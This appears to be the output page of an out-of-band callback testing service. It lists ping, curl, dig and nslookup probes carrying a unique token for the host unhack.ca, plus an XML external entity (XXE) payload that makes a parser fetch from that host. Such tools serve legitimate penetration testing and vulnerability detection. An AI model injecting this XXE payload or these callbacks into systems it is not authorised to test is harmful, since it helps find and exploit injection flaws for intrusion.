$ ping -c1 -p 00aa1f61a74c6fc6044bc61bb0761300 unhack.ca
 
$ curl http://unhack.ca/p/aa1f61a74c6fc6044bc61bb07613
 
$ dig aa1f61a74c6fc6044bc61bb07613 @unhack.ca
 
$ dig aa1f61a74c6fc6044bc61bb07613.ns.unhack.ca
 
C:\> nslookup aa1f61a74c6fc6044bc61bb07613 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aa1f61a74c6fc6044bc61bb07613">]>
    <foo>&xxe;</foo>
 
Waiting for ping...